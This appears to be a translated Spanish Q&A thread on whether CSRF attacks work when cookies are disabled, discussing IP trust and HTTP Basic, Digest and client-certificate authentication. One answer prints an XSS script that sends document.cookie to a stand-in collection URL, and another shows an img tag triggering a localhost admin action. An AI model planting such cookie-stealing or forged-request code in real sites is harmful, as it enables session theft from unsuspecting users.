2010-09-17 12 views
5

He estado investigando esto por un tiempo, pero no he encontrado nada que satisfaga mi curiosidad. ¿Es posible, como usuario, ser víctima de un ataque CSRF si las cookies están desactivadas? Obviamente CSRF depende del navegador de los usuarios para enviar las credenciales del usuario con la solicitud falsificada al servidor legítimo. Además de las direcciones IP, los navegadores no envían automáticamente ningún otro valor de sesión, ¿verdad? En ese caso, siempre que un usuario pueda iniciar sesión con las cookies desactivadas, estaría a salvo de CSRF incluso en sitios web vulnerables.¿Es posible CSRF sin cookies?

Respuesta

4

Por lo tanto, debe preguntarse cómo sabe el servidor de un cliente de otro. En la mayoría de los casos, es la cookie de sesión, pero también hay otras formas.

Considere una aplicación de administrador, que está configurada para funcionar solo si se accede desde el host local. Aquí, el servidor confía en la dirección IP del navegador. Ahora, si un atacante crea una página como <img src="http://localhost/do/something/harmful"/> y de alguna manera hace que el administrador visite su página, usted tiene un CSRF.

Otros ejemplos incluyen abusar de la autenticación Http basic y digest, como Bruno ya señaló.

+0

IMO, siempre que el navegador de la víctima tenga una sesión activa o un token de acceso activo (a través de WebStorage, cookies, RAM u otro), el CSRF asumirá que el sitio no usa tokens de sincronización para prevenir CSRF. – Zack

-2

Claro - sólo pensar si el sitio comprometido no lo hizo HTML matorrales y que entró en el siguiente texto en un campo "comentario":

<script> 
var img = document.createElement("img"); 
img.src = "http://example.com/collect.php?val=" + escape(document.cookie); 
</script> 

Básicamente estás usando javascript para recoger las galletas y escribir el valores en los parámetros de URL de una etiqueta de imagen para que se pasen al servidor "incorrecto" cuando el navegador intenta cargar la imagen.

Por supuesto, en el ejemplo anterior, estoy usando cookies de "document.cookie", pero en el espíritu de su pregunta "si las cookies están deshabilitadas" es igual de fácil extraer cualquier otra información del DOM (entrada oculta valores de campo, etc.) y enviarlos en la URL a su servidor de destino.

+0

Parece que esto combinaría XSS con CSRF. – Bruno

+0

Buen punto: estaba pensando más en la línea del XSS tradicional en lugar del CSRF. –

+0

Todos estos ataques DOM solo son posibles desde dentro del mismo dominio, ¿correcto? Esto es estrictamente un ataque XSS. – grossmae

4

Existen otras formas de autenticación admitidas por los navegadores, en particular HTTP Basic y HTTP Digest, así como los certificados de cliente SSL/TLS. Desafortunadamente, la interfaz para "desconectarse" cuando se utilizan estos mecanismos suele ser bastante pobre. A diferencia de las cookies y formularios, detener el uso de las credenciales es controlado por el navegador (no por el servidor y sus cookies), pero los botones son, en el mejor de los casos, en algún menú avanzado en general (si es que existen).

+0

Entonces, si un usuario deshabilita las cookies en su navegador, las alternativas típicas son Autenticación HTTP o simplemente pasando las ID de sesión a través de formularios. – grossmae